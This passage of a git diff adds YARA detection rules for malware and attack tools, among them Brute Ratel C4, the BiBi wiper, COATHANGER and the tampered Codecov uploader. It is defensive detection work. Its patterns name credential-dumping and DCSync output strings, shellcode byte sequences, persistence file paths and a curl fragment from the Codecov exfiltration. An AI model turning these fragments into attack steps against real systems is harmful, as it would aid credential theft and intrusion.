+        $coreStrings106 = "[+] Name: %ls"
+        $coreStrings107 = "[+] Task: %ld"
+        $coreStrings108 = "  - Name: %ls"
+        $coreStrings109 = "BYTE data[] = {"
+        $coreStrings110 = "[+] %s Password History:"
+        $coreStrings111 = "[+] Object RDN: "
+        $coreStrings112 = "[+] SAM Username: "
+        $coreStrings113 = "[+] User Principal Name: "
+        $coreStrings114 = "[+] UAC: %08x ["
+        $coreStrings115 = "[+] Password last change: "
+        $coreStrings116 = "[+] SID history:"
+        $coreStrings117 = "[+] Object SID: "
+        $coreStrings118 = "[+] Object RID: %u"
+        $coreStrings119 = "[-] E: 0x%08x (%u) - %s"
+        $coreStrings120 = "[-] E: no item!"
+        $coreStrings121 = "[-] E: bad version (%u)"
+        $coreStrings122 = "[-] E: 0x%08x (%u)"
+        $coreStrings123 = "[-] E: (%08x)"
+        $coreStrings124 = "[-] E: DRS Extension Size (%u)"
+        $coreStrings125 = "[-] E: No DRS Extension"
+        $coreStrings126 = "[-] E: DRSBind (%u)"
+        $coreStrings127 = "[-] E: DC '%s' not found"
+        $coreStrings128 = "[-] E: Version (%u)"
+        $coreStrings129 = "[-] E: 0x%08x"
+        $coreStrings130 = "[-] E: DC not found"
+        $coreStrings131 = "[-] E: Binding DC!"
+        $coreStrings132 = "[-] E: %u"
+        $coreStrings133 = "[-] E: Domain not found"
+        $coreStrings134 = "[+] Syncing DC: %ls"
+        $coreStrings135 = "========================================|"
+        $coreStrings136 = "[-] E: NCChangesReply"
+        $coreStrings137 = "[-] E: GetNCChanges (%u)"
+        $coreStrings138 = "[-] E: GetNCChanges: 0x%08x"
+        $coreStrings139 = "[-] E: ASN1"
+        $coreStrings140 = "[dsyn]"
+        $coreStrings141 = "[+] size         : %lu"
+        $coreStrings142 = "[+] malloc (RX)  : 0x%p"
+        $coreStrings143 = "[+] malloc (RW)  : 0x%p"
+        $coreStrings144 = "[+] size        : %lu"
+        $coreStrings145 = "[+] mapview (RX): 0x%p"
+        $coreStrings146 = "[+] mapview (RW): 0x%p"
+        $coreStrings147 = "[-] Invalid thread"
+        $coreStrings148 = "[+] Thread start : 0x%p"
+        $coreStrings149 = "[+] Thread Id    : %lu"
+        $coreStrings150 = "  - expires at: %02d-%02d-%02d %02d:%02d:%02d"
+        $coreStrings151 = "%-30ls%-30ls%ls"
+        $coreStrings152 = "%-30S*%-29ls%04d hours"
+        $coreStrings153 = "%-30S%-30ls%04d hours"
+        $coreStrings154 = "[+] User is privileged"
+        $coreStrings155 = "[+] Members of [%ls] in %ls"
+        $coreStrings156 = "[+] Members of [%ls]"
+        $coreStrings157 = "p[+] Alertable thread: %lu"
+        $coreStrings158 = "[-] E: No Alertable threads"
+        $coreStrings159 = "[!] QAPC not supported on existing process"
+        $coreStrings160 = "[+] PID (%S) => %lu"
+        $coreStrings161 = "[+] PPID => %lu"
+        $coreStrings162 = "[+] PID (%S) => %lu"
+        $coreStrings163 = "[+] Args => (%S)"
+        $coreStrings164 = "[+] PPID => %lu"
+        $coreStrings165 = "[+] %S => PID: %lu"
+        $coreStrings166 = "[+] %S => PID (Suspended): %lu:%lu"
+        $coreStrings167 = "[+] SYS key: "
+        $coreStrings168 = "[+] SAM key: "
+        $coreStrings169 = "v2.0.50727"
+        $coreStrings170 = "v4.0.30319"
+        $coreStrings171 = "[+] Dotnet: v"
+        $coreStrings172 = "[+] Socks started"
+        $coreStrings173 = "[-] Socks stopped and Profile cleared"
+        $coreStrings174 = "[+] Stasis: %d:%d"
+        $coreStrings175 = "<DIR>?%ls?%02d-%02d-%d %02d:%02d"
+        $coreStrings176 = "<DIR>?%ls"
+        $coreStrings177 = "<FILE>?%ls?%02d-%02d-%d %02d:%02d?%lld bytes"
+        $coreStrings178 = "<FILE>?%ls"
+        $coreStrings179 = "[+] listing %ls"
+        $coreStrings180 = "%02d-%02d-%d %02d:%02d <DIR>  %ls"
+        $coreStrings181 = "%02d-%02d-%d %02d:%02d <FILE> %ls %lld bytes"
+        $coreStrings182 = "[+] PID: %d"
+        $coreStrings183 = "[+] Impersonated: '%S\\%S'"
+        $coreStrings184 = "[+] Killed: %lu"
+        $coreStrings185 = "%ls%-8ls | %-8ls | %-6ls | %-30ls 	| %ls"
+        $coreStrings186 = "[pstree] %S"
+        $coreStrings187 = "6%d?%d?%S?%ls?%ls"
+        $coreStrings188 = "%-8d | %-8d | %-6S | %-30ls 	| %ls"
+        $coreStrings189 = "%d?%d?N/A?N/A?%ls"
+        $coreStrings190 = "%-8d | %-8d | %-6ls | %-30ls 	| %ls"
+        $coreStrings191 = "[-] Child Process???"
+        $coreStrings192 = "[+] PID: %lu"
+        $coreStrings193 = "[+] Impersonated '%ls'"
+        $coreStrings194 = "[-] Duplicate listener: %S"
+        $coreStrings195 = "[+] TCP listener: %S"
+        $coreStrings196 = "[TCP] [%S]-<>-[%S]"
+        $coreStrings197 = "[+] Added to Token Vault: %ls"
+        $coreStrings198 = "[-] E: Invalid Arch: 0x%X"
+        $coreStrings199 = "[+] Searching [0x%02X] permission"
+        $coreStrings200 = "[-] SPN not found: %ls"
+        $coreStrings201 = "[-] Invalid SPN: %S"
+        $coreStrings202 = "[+] SPN: %ls"
+        $coreStrings203 = "[+] Start Address: (%p)"
+        $coreStrings204 = "[!] Invalid Address"
+        $coreStrings205 = "[!] Invalid PID: %S"
+        $coreStrings206 = "[+] PID: %lu"
+        $coreStrings207 = "[+] TID: %lu"
+        $coreStrings208 = "[+] T-Handle: 0x%X"
+        $coreStrings209 = "[+] Suspend count: %lu"
+        $coreStrings210 = "[+] %-24ls%-24ls%-24ls"
+        $coreStrings211 = "%-66ls%-46ls%ls"
+        $coreStrings212 = "    ============================================================= ============================================= =================================================="
+        $coreStrings213 = "[+] Elevated Privilege"
+        $coreStrings214 = "[-] Restricted Privilege"
+        $coreStrings215 = "[+] Task-%d => %S (%S %%)"
+        $coreStrings216 = "[Tasks] %02d => 0x%02X 0x%02X"
+        $coreStrings217 = "[*] No active tasks"
+        $coreStrings218 = "[-] Child: NA"
+        $coreStrings219 = "[+] Child: %S"
+        $coreStrings220 = "[TCP] Task-%d => %S"
+        $coreStrings221 = "[+] Malloc: %lu"
+        $coreStrings222 = "[+] ThreadEx: %lu"
+        $coreStrings223 = "[+] %-30ls: %S"
+        $coreStrings224 = "[+] %-30ls: %S"
+        $coreStrings225 = "[+] %-30ls: "
+        $coreStrings226 = "[+] %-30ls: %ls"
+        $coreStrings227 = "  - %-6S %-22S %-22S %S"
+        $coreStrings228 = "  - %-6S %-22S %-22S"
+        $coreStrings229 = "  - 0x%lu [%02X-%02X-%02X-%02X-%02X-%02X] %S"
+        $coreStrings230 = "  %-21S%-17S%-17S%-11S%-10S"
+        $coreStrings231 = "  - %-19S%-17S%-17S%-11ld%-9ld"
+        $coreStrings232 = "  - %-30ls: %I64dMB/%I64dMB"
+        $coreStrings233 = "  - %-30ls: %lu MB"
+        $coreStrings234 = "[+] CM: Already Running"
+        $coreStrings235 = "[+] CM: Running"
+        $coreStrings236 = "[+] CM: Started"
+        $coreStrings237 = "[*] Task-%02d [Thread: %lu]"
+        $coreStrings238 = "+-------------------------------------------------------------------+"
+        $coreStrings239 = "[+] Session ID %lu => %ls: %ls\\%ls"
+        $coreStrings240 = "[+] Enumerating PID: %lu [%ls]"
+        $coreStrings241 = "[+] Captured Handle (PID: %lu)"
+        $coreStrings242 = "[+] Initiated NTFS transaction"
+        $coreStrings243 = "\\??\\C:\\Users\\Public\\cache.txt"
+        $coreStrings244 = "[+] Dump Size: %d Mb"
+        $coreStrings245 = "bhttp_x64.dll"
+        $coreStrings246 = "bYXJm/3#M?:XyMBF"
+        $coreStrings247 = "SeDebugPrivilege"
+    condition:
+        20 of them
+}
+
+rule brc4_shellcode {
+    meta:
+        version = "last version"
+        author = "@ninjaparanoid"
+        description = "Hunts for shellcode opcode used in Badger x86/x64 till release v1.2.9"
+        arch_context = "x64"
+        reference = "https://github.com/paranoidninja/Brute-Ratel-C4-Community-Kit/blob/main/deprecated/brc4.yara"
+        date = "2022-11-19"
+        id = "7e899d2f-332b-53f7-b9e6-cfde2bce6223"
+    strings:
+        $shellcode_x64_Start = { 55 50 53 51 52 56 57 41 50 41 51 41 52 41 53 41 54 41 55 41 56 41 57 }
+        $shellcode_x64_End = { 5B 5E 5F 41 5C 41 5D 41 5E 41 5F 5D C3 }
+        $shellcode_x64_StageEnd = { 5C 41 5F 41 5E 41 5D 41 5C 41 5B 41 5A 41 59 41 58 5F 5E 5A 59 5B 58 5D C3 }
+        $funcHash1 = { 5B BC 4A 6A }
+        $funcHash2 = { 5D 68 FA 3C }
+        $funcHash3 = { AA FC 0D 7C }
+        $funcHash4 = { 8E 4E 0E EC }
+        $funcHash5 = { B8 12 DA 00 }
+        $funcHash6 = { 07 C4 4C E5 }
+        $funcHash7 = { BD CA 3B D3 }
+        $funcHash8 = { 89 4D 39 8C }
+        $hashFuncx64 = { EB 20 0F 1F 44 00 00 44 0F B6 C8 4C 89 DA 41 83 E9 20 4D 63 C1 4B 8D 04 10 49 39 CB 74 21 49 83 C3 01 41 89 C2 }
+        $hashFuncx86 = { EB 07 8D 74 26 00 83 C2 01 0F B6 31 C1 C8 0D 89 F1 8D 5C 30 E0 01 F0 80 F9 61 89 D1 0F 43 C3 39 D7 75 E3 }
+    condition:
+        (pe.machine == pe.MACHINE_AMD64 and (2 of ($shellcode*) or all of ($funcHash*) and $hashFuncx64))
+        or
+        (pe.machine == pe.MACHINE_I386 and (all of ($funcHash*) and $hashFuncx86))
+}
diff --git a/yara-Neo23x0/hktl_bruteratel_c4_badger.yar b/yara-Neo23x0/hktl_bruteratel_c4_badger.yar
new file mode 100644
index 0000000..76bf104
--- /dev/null
+++ b/yara-Neo23x0/hktl_bruteratel_c4_badger.yar
@@ -0,0 +1,19 @@
+
+rule HKTL_BruteRatel_Badger_Indicators_Oct22_4 {
+   meta:
+      description = "Detects Brute Ratel C4 badger indicators"
+      author = "Matthew @embee_research, Florian Roth"
+      reference = "https://twitter.com/embee_research/status/1580030310778953728"
+      date = "2022-10-12"
+      score = 75
+      id = "a62d08ae-0fb3-55e9-b6f8-7940f8032e4a"
+   strings:
+      $s1 = { b? 89 4d 39 8c }
+      $s2 = { b? bd ca 3b d3 }
+      $s3 = { b? b2 c1 06 ae } 
+      $s4 = { b? 74 eb 1d 4d }
+   condition:
+      filesize < 8000KB 
+      and all of ($s*)
+      and not uint8(0) == 0x02 /* SHC files */
+}
diff --git a/yara-Neo23x0/hktl_natbypass.yar b/yara-Neo23x0/hktl_natbypass.yar
new file mode 100644
index 0000000..192faff
--- /dev/null
+++ b/yara-Neo23x0/hktl_natbypass.yar
@@ -0,0 +1,24 @@
+
+rule HKTL_NATBypass_Dec22_1 : T1090 {
+   meta:
+      description = "Detects NatBypass tool (also used by APT41)"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/cw1997/NATBypass"
+      date = "2022-12-27"
+      score = 80
+      hash1 = "4550635143c9997d5499d1d4a4c860126ee9299311fed0f85df9bb304dca81ff"
+      id = "54af4d84-72f7-5ec4-b0bf-7ba228fdf508"
+   strings:
+      $x1 = "nb -slave 127.0.0.1:3389 8.8.8.8:1997" ascii
+      $x2 = "| Welcome to use NATBypass Ver" ascii
+
+      $s1 = "main.port2host.func1" ascii fullword
+      $s2 = "start to transmit address:" ascii
+      $s3 = "^(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])"
+   condition:
+      filesize < 8000KB 
+      and (
+         1 of ($x*)
+         or 2 of them
+      ) or 3 of them
+}
diff --git a/yara-Neo23x0/log_teamviewer_keyboard_layouts.yar b/yara-Neo23x0/log_teamviewer_keyboard_layouts.yar
new file mode 100644
index 0000000..7af41fb
--- /dev/null
+++ b/yara-Neo23x0/log_teamviewer_keyboard_layouts.yar
@@ -0,0 +1,40 @@
+
+rule LOG_TeamViewer_Connect_Chinese_Keyboard_Layout {
+   meta:
+      description = "Detects a suspicious TeamViewer log entry stating that the remote systems had a Chinese keyboard layout"
+      author = "Florian Roth (Nextron Systems)"
+      date = "2019-10-12"
+      modified = "2020-12-16"
+      score = 60
+      limit = "Logscan"
+      reference = "https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/default-input-locales-for-windows-language-packs"
+      id = "f901818b-5150-540f-b645-686c12784a38"
+   strings:
+      /* Source has Chinese simplified keyboard layout */
+      $x1 = "Changing keyboard layout to: 0804" ascii
+      $x2 = "Changing keyboard layout to: 042a"
+      /* Avoiding Chinese to Chinese support cases */
+      $fp1 = "Changing keyboard layout to: 08040804" ascii
+      $fp2 = "Changing keyboard layout to: 042a042a" ascii
+   condition:
+      ( #x1 + #x2 ) > ( #fp1 + #fp2 )
+}
+
+rule LOG_TeamViewer_Connect_Russian_Keyboard_Layout {
+   meta:
+      description = "Detects a suspicious TeamViewer log entry stating that the remote systems had a Russian keyboard layout"
+      author = "Florian Roth (Nextron Systems)"
+      date = "2019-10-12"
+      modified = "2022-12-07"
+      score = 60
+      limit = "Logscan"
+      reference = "https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/default-input-locales-for-windows-language-packs"
+      id = "360a1cca-2a64-5fd8-bcde-f49e1b17281e"
+   strings:
+      /* Source has Russian keyboard layout */
+      $x1 = "Changing keyboard layout to: 0419" ascii
+      /* Avoiding Russian to Russian support cases */
+      $fp1 = "Changing keyboard layout to: 04190419" ascii
+   condition:
+      #x1 > #fp1
+}
diff --git a/yara-Neo23x0/mal_avemaria_rat.yar b/yara-Neo23x0/mal_avemaria_rat.yar
new file mode 100644
index 0000000..f788d68
--- /dev/null
+++ b/yara-Neo23x0/mal_avemaria_rat.yar
@@ -0,0 +1,16 @@
+
+rule MAL_AveMaria_RAT_Jul19 {
+   meta:
+      description = "Detects AveMaria RAT"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/abuse_ch/status/1145697917161934856"
+      date = "2019-07-01"
+      hash1 = "5a927db1566468f23803746ba0ccc9235c79ca8672b1444822631ddbf2651a59"
+      id = "960048cf-7a56-50cf-8498-549f900770d8"
+   strings:
+      $a1 = "operator co_await" fullword ascii
+      $s1 = "uohlyatqn" fullword ascii
+      $s2 = "index = [%d][%d][%d][%d]" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 3000KB and all of them
+}
diff --git a/yara-Neo23x0/mal_bibi_wiper_oct23.yar b/yara-Neo23x0/mal_bibi_wiper_oct23.yar
new file mode 100644
index 0000000..74f1ee8
--- /dev/null
+++ b/yara-Neo23x0/mal_bibi_wiper_oct23.yar
@@ -0,0 +1,47 @@
+
+/*
+rule MAL_LNX_BiBi_Linux_Wiper {
+	meta:
+		author ="Felipe Duarte, Security Joes"
+		description ="Detects BiBi-Linux Wiper"
+		hash ="23bae09b5699c2d5c4cb1b8aa908a3af898b00f88f06e021edcb16d7d558efad"
+		reference = "https://www.securityjoes.com/post/bibi-linux-a-new-wiper-dropped-by-pro-hamas-hacktivist-group"
+		
+	strings:
+		$str1 = "[+] Stats: "
+		$str2 = { 2e 00 00 00 42 00 00 00 69 00 00 00 42 00 00 00 69 00 }
+		$str3 = "[!] Waiting For Queue "
+		$str4 = "[+] Round "
+		$str5 = "[+] Path: "
+		$str6 = "[+] CPU cores: " 
+		$str7 = "Threads: "
+
+	condition:
+		all of them
+}
+*/
+
+rule MAL_WIPER_BiBi_Oct23 {
+   meta:
+      description = "Detects BiBi wiper samples for Windows and Linux"
+      author = "Florian Roth"
+      reference = "https://x.com/ESETresearch/status/1719437301900595444?s=20"
+      date = "2023-11-01"
+      hash1 = "23bae09b5699c2d5c4cb1b8aa908a3af898b00f88f06e021edcb16d7d558efad"
+      hash2 = "40417e937cd244b2f928150cae6fa0eff5551fdb401ea072f6ecdda67a747e17"
+      id = "e1ea8016-e074-5208-8c98-54922bbcc407"
+   strings:
+      $s1 = "send attempt while closed" ascii fullword
+      $s2 = "[+] CPU cores: %d, Threads: %d" ascii fullword
+      $s3 = "[+] Stats: %d | %d" ascii fullword
+
+      $opw1 = { 33 c0 88 45 48 b8 01 00 00 00 86 45 48 45 8b f5 48 8d 3d de f5 ff ff 0f 57 c9 f3 0f 7f 4d b8 }
+      $opw2 = { 2d ce b5 00 00 c5 fa e6 f5 e9 40 fe ff ff 0f 1f 44 00 00 75 2e c5 fb 10 0d 26 b4 00 00 44 8b 05 5f b6 00 00 e8 ca 0d 00 00 }
+
+      $opl1 = { 4c 8d 44 24 08 48 89 f7 48 ff c2 48 83 c6 04 e8 c7 fb ff ff 41 89 c1 0f b6 42 ff 41 0f af c1 }
+      $opl2 = { e8 6f fb ff ff 49 8d 78 f8 89 c0 48 01 c2 48 89 15 09 fb 24 00 e8 5a fb ff ff 49 8d 78 fc 6b f0 06 } 
+   condition:
+      ( uint16(0) == 0x5a4d or uint16(0) == 0x457f )
+      and filesize < 4000KB
+      and 2 of them
+}
diff --git a/yara-Neo23x0/mal_codecov_hack.yar b/yara-Neo23x0/mal_codecov_hack.yar
new file mode 100644
index 0000000..148b0d5
--- /dev/null
+++ b/yara-Neo23x0/mal_codecov_hack.yar
@@ -0,0 +1,17 @@
+
+rule APT_SH_CodeCov_Hack_Apr21_1 {
+   meta:
+      description = "Detects manipulated Codecov bash uploader tool that has been manipulated by an unknown actor during March / April 2021"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://about.codecov.io/security-update/"
+      date = "2021-04-16"
+      id = "b5fb74c4-073e-53af-a207-1672e63c9a64"
+   strings:
+      $a1 = "Global report uploading tool for Codecov"
+
+      $s1 = "curl -sm 0.5 -d"
+   condition:
+      uint16(0) == 0x2123 and
+      filesize < 70KB and
+      all of them
+}
diff --git a/yara-Neo23x0/mal_crime_unknown.yar b/yara-Neo23x0/mal_crime_unknown.yar
new file mode 100644
index 0000000..3e03408
--- /dev/null
+++ b/yara-Neo23x0/mal_crime_unknown.yar
@@ -0,0 +1,50 @@
+rule MAL_CRIME_suspicious_hex_string_Jun21_1 : CRIME PE {
+    meta:
+        author = "Nils Kuhnert"
+        date = "2021-06-04"
+        description = "Triggers on parts of a big hex string available in lots of crime'ish PE files."
+        hash1 = "37d60eb2daea90a9ba275e16115848c95e6ad87d20e4a94ab21bd5c5875a0a34"
+        hash2 = "3380c8c56d1216fe112cbc8f1d329b59e2cd2944575fe403df5e5108ca21fc69"
+        hash3 = "cd283d89b1b5e9d2875987025009b5cf6b137e3441d06712f49e22e963e39888"
+        hash4 = "404efa6fb5a24cd8f1e88e71a1d89da0aca395f82d8251e7fe7df625cd8e80aa"
+        hash5 = "479bf3fb8cff50a5de3d3742ab4b485b563b8faf171583b1015f80522ff4853e"
+        id = "2ad208fa-c7a5-5df9-96fe-4a84dc770f0f"
+    strings:
+        $a1 = "07032114130C0812141104170C0412147F6A6A0C041F321104130C0412141104030C0412141104130C0412141104130C0412141104130C0412141104130C0412141104130C0412141104130C0412141122130C0412146423272A711221112B1C042734170408622513143D20262B0F323038692B312003271C170B3A2F286623340610241F001729210579223202642200087C071C17742417020620141462060F12141104130C0412141214001C0412011100160C0C002D2412130C0412141104130C04121A11041324001F140122130C0134171" ascii
+    condition:
+        uint16(0) == 0x5a4d and filesize < 10MB and all of them
+}
+
+rule MAL_CRIME_Unknown_LNK_Jun21_1: LNK POWERSHELL {
+    meta:
+        author = "Nils Kuhnert"
+        date = "2021-06-04"
+        description = "Triggers on malicious link files which calls powershell with an obfuscated payload and downloads an HTA file."
+        hash1 = "8fc7f25da954adcb8f91d5b0e1967e4a90ca132b280aa6ae73e150b55d301942"
+        hash2 = "f5da192f4e4dfb6b728aee1821d10bec6d68fb21266ce32b688e8cae7898a522"
+        hash3 = "183a9b3c04d16a1822c788d7a6e78943790ee2cdeea12a38e540281091316e45"
+        hash4 = "a38c6aa3e1c429a27226519b38f39f03b0b1b9d75fd43cd7e067c5e542967afe"
+        hash5 = "455f7b6b975fb8f7afc6295ec40dae5696f5063d1651f3b2477f10976a3b67b2"
+        id = "d1aac420-fd91-5577-8efd-fcdd7f733981"
+    strings:
+        $uid = "S-1-5-21-1437133880-1006698037-385855442-1004" wide
+    condition:
+        uint16(0) == 0x004c and all of them
+}
+
+rule MAL_CRIME_Unknown_ISO_Jun21_1 : ISO POWERSHELL LNK {
+    meta:
+        author = "Nils Kuhnert"
+        date = "2021-06-04"
+        description = "Triggers on ISO files that mimick NOBELIUM TTPs, but uses LNK files that call powershell instead."
+        hash1 = "425dbed047dd2ce760d0848ebf7ad04b1ca360f111d557fc7bf657ae89f86d36"
+        hash2 = "f6944b6bca627e219d9c5065f214f95eb2226897a3b823b645d0fd78c281b149"
+        hash3 = "14d70a8bdd64e9a936c2dc9caa6d4506794505e0e3870e3a25d9d59bcafb046e"
+        hash4 = "9b2ca8eb6db34b07647a74171a5ff4c0a2ca8000da9876ed2db6361958c5c080"
+        id = "73a1fc44-45c4-5253-b81d-fa6686dc0644"
+    strings:
+        $uid = "S-1-5-21-1437133880-1006698037-385855442-1004" wide
+        $magic = "CD001" ascii
+    condition:
+        filesize < 5MB and all of them
+}
diff --git a/yara-Neo23x0/mal_cryp_rat.yar b/yara-Neo23x0/mal_cryp_rat.yar
new file mode 100644
index 0000000..3185b22
--- /dev/null
+++ b/yara-Neo23x0/mal_cryp_rat.yar
@@ -0,0 +1,19 @@
+import "pe"
+
+rule MAL_CrypRAT_Jan19_1 {
+   meta:
+      description = "Detects CrypRAT"
+      author = "Florian Roth (Nextron Systems)"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      reference = "Internal Research"
+      score = 90
+      date = "2019-01-07"
+      id = "f3063a16-8813-5d6c-9807-6a0725907fb5"
+   strings:
+      $x1 = "Cryp_RAT" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 600KB and (
+         pe.imphash() == "2524e5e9fe04d7bfe5efb3a5e400fe4b" or
+         1 of them
+      )
+}
diff --git a/yara-Neo23x0/mal_ducktail_compromised_certs_jun23.yar b/yara-Neo23x0/mal_ducktail_compromised_certs_jun23.yar
new file mode 100644
index 0000000..57a3eba
--- /dev/null
+++ b/yara-Neo23x0/mal_ducktail_compromised_certs_jun23.yar
@@ -0,0 +1,37 @@
+
+rule MAL_Compromised_Cert_DuckTail_Stealer_Jun23 {
+   meta:
+      author = "dr4k0nia"
+      description = "Detects binaries signed with compromised certificates used by DuckTail stealer - identified in June 2023"
+      reference = "Internal Research"
+      date = "2023-06-16"
+      modified = "2023-08-12"
+      hash1 = "17c75f2d14af9f00822fc1dba00ccc9ec71fc50962e196d7e6f193f4b2ee0183"
+      hash2 = "b3cfdb442772d07a7f037b0bb093ba315dfd1e79b0e292736c52097355495270"
+      hash3 = "9afe013cae0167993a6a7ccd650eb1221a5ec163110565eb3a49a8b57949d4ee"
+      score = 80
+      id = "b491e1b6-42c4-58e9-8efa-19e697804f96"
+   strings:
+      $sx1 = "AZM MARKETING COMPANY LIMITED" ascii fullword
+      $sx2 = "CONG TY TNHH" ascii
+      $sx3 = {43 C3 94 4E 47 20 54 59 20 54 4E 48 48 20}
+      $sx4 = "CONG TY TRACH" ascii
+
+      $se1 = {65 78 BE 85 2D 48 E3 3D 4E 48 B8 D4 73 F5 B7 60} // AZM MARKETING COMPANY LIMITED
+      $se2 = {1D 53 38 32 74 2B 58 37 87 C0 A2 53 32 F7 FB 06} // AZM MARKETING COMPANY LIMITED
+      $se3 = {00 BD 7B 85 B2 6A 69 C9 7D 6D 68 CC 95 67 34 C0 6B} // CONG TY TNHH PDF SOFTWARE
+      $se4 = {06 5F 5C 57 0B D6 A7 98 92 FB B0 E6 34 61 3A 4D}
+      $se5 = {41 55 3F 07 13 37 11 7A 99 B4 58 57} // CONG TY TNHH CAO SU MINH KHANG
+      $se6 = {1E AA E4 CE E7 EE 89 FB 20 32 59 27 88 13 D8 53} // CONG TY TNHH MTV SAN VUON THAI VUONG
+      $se7 = {56 DC DB 85 D4 89 F9 87 B2 D6 76 72} // CONG TY TNHH THUONG MAI VA XAY DUNG PHUC NGUYEN
+      $se8 = {2D A4 50 57 C2 74 3C 1A 3C A4 93 7A} // CONG TY TNHH DICH VU CAU CHU NHO
+      $se9 = {37 AE 95 F5 4C 8E 9B D0 B6 47 68 6A} // CONG TY TNHH THIET KE VA XAY DUNG SAN VUON NON BO SON HAI
+      $se10 = {3D C8 F5 3B 62 7A 34 07 AC 7E 01 00 13 87 A3 B3} // CONG TY TNHH GIa I PHA P CCNG NGHE SO VIET
+      $se11 = {01 C9 87 5A 5F A8 59 68 6D 34 17 C9} // CONG TY TRACH NHIEM HUU HAN THIET BI NOI THAT TAKASY
+      $se12 = {1B 35 19 E1 CD C2 6B 57 DA EE 06 C9} // CONG TY TNHH DUOC PHAM VA THIET BI Y TE BT
+      $se13 = {79 7D 0B 5E 22 AA 0F C7 A2 97 E6 48} // CONG TY TNHH THIET BI Y TE QUOC TE VIET AU
+      $se14 = {57 9E 5C 89 B0 85 A7 96 B3 3C F3 19} // CONG TY TNHH THUONG MAI DICH VU CO KHI & XAY DUNG SONG NHAT VIET
+   condition:
+      uint16(0) == 0x5a4d
+      and 1 of ($sx*) and 1 of ($se*)
+}
diff --git a/yara-Neo23x0/mal_efile_apr23.yar b/yara-Neo23x0/mal_efile_apr23.yar
new file mode 100644
index 0000000..efbe351
--- /dev/null
+++ b/yara-Neo23x0/mal_efile_apr23.yar
@@ -0,0 +1,32 @@
+
+rule MAL_JS_EFile_Apr23_1 {
+   meta:
+      description = "Detects JavaScript malware used in eFile compromise"
+      author = "Florian Roth"
+      score = 75
+      reference = "https://twitter.com/Ax_Sharma/status/1643178696084271104/photo/1"
+      date = "2023-04-06"
+      id = "ba7a8b2c-789c-5bc5-be53-f2b92c7039e1"
+   strings:
+      $s1 = "let payload_chrome = "
+      $s2 = "else if (agent.indexOf(\"firefox"
+   condition:
+      all of them
+}
+
+
+rule MAL_PHP_EFile_Apr23_1 {
+   meta:
+      description = "Detects malware "
+      author = "Florian Roth"
+      reference = "https://twitter.com/malwrhunterteam/status/1642988428080865281?s=12&t=C0_T_re0wRP_NfKa27Xw9w"
+      date = "2023-04-06"
+      score = 75
+      id = "d663b38e-b082-5cf7-9853-f4685bf3a87b"
+   strings:
+      $s1 = "mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff )" ascii
+      $s2 = "C:\\\\ProgramData\\\\Browsers" ascii fullword
+      $s3 = "curl_https($api_url." ascii
+   condition:
+      all of them
+}
diff --git a/yara-Neo23x0/mal_fake_document_software.yar b/yara-Neo23x0/mal_fake_document_software.yar
new file mode 100644
index 0000000..f705cd7
--- /dev/null
+++ b/yara-Neo23x0/mal_fake_document_software.yar
@@ -0,0 +1,20 @@
+rule MAL_Fake_Document_Software_Indicators_Nov23 {
+   meta:
+      description = "Detects indicators of fake document/image utility software that acts as a downloader for additional malware"
+      author = "Jonathan Peters"
+      date = "2023-11-13"
+      reference = "https://nochlab.blogspot.com/2023/09/net-in-javascript-fake-pdf-converter.html"
+      hash1 = "ac5356ae011effb9d401bf428c92a48cf82c9b61f4c24a29a9718e3379f90f1d"
+      hash2 = "d1c29c2243c511ca3264ad568a6be62f374e104b903eca93debce6691e1c5007"
+      score = 80
+      id = "231474cd-1ec9-5738-bf48-ef707689056d"
+   strings:
+      $ = "tweakscode.com" wide
+      $ = "www.createmygif.com" wide
+      $ = "www.videownload.com" wide
+      $ = "www.pdfconverterz.com" wide
+      $ = "www.pdfconvertercompare.com" wide
+   condition:
+      uint16(0) == 0x5a4d
+      and 1 of them
+}
diff --git a/yara-Neo23x0/mal_fortinet_coathanger_feb24.yar b/yara-Neo23x0/mal_fortinet_coathanger_feb24.yar
new file mode 100644
index 0000000..1d3b559
--- /dev/null
+++ b/yara-Neo23x0/mal_fortinet_coathanger_feb24.yar
@@ -0,0 +1,38 @@
+
+rule MAL_Fortinet_COATHANGER_Beacon {
+   meta:
+      description = "Detects COATHANGER beaconing code"
+      malware = "COATHANGER"
+      author = "NLD MIVD - JSCU"
+      date = "2024-02-06"
+      reference = "https://www.ncsc.nl/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear"
+      id = "0c84e6e4-afae-5150-82e2-8de528cd11fc"
+   strings:
+      $chunk_1 = { 48 B8 47 45 54 20 2F 20 48 54 48 89 45 B0 48 B8 54 50 2F 32 0A 48 6F 73 48 89 45 B8 48 B8 74 3A 20 77 77 77 2E 67 48 89 45 C0 48 B8 6F 6F 67 6C 65 2E 63 6F }
+   condition:
+      uint32(0) == 0x464c457f and filesize < 5MB and
+      any of them
+}
+
+rule MAL_Fortinet_COATHANGER_Files {
+   meta:
+      description = "Detects COATHANGER files by used filenames"
+      malware = "COATHANGER"
+      author = "NLD MIVD - JSCU"
+      date = "2024-02-06"
+      reference = "https://www.ncsc.nl/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear"
+      id = "0aa2f266-247b-5510-9fd9-4c7940fb80e8"
+   strings:
+      $1 = "/data2/"
+      $2 = "/httpsd"
+      $3 = "/preload.so"
+      $4 = "/authd"
+      $5 = "/tmp/packfile"
+      $6 = "/smartctl"
+      $7 = "/etc/ld.so.preload"
+      $8 = "/newcli"
+      $9 = "/bin/busybox"
+   condition:
+      (uint32(0) == 0x464c457f or uint32(4) == 0x464c457f)
+      and filesize < 5MB and 4 of them
+}
diff --git a/yara-Neo23x0/mal_go_modbus.yar b/yara-Neo23x0/mal_go_modbus.yar
new file mode 100644
index 0000000..440de91
--- /dev/null
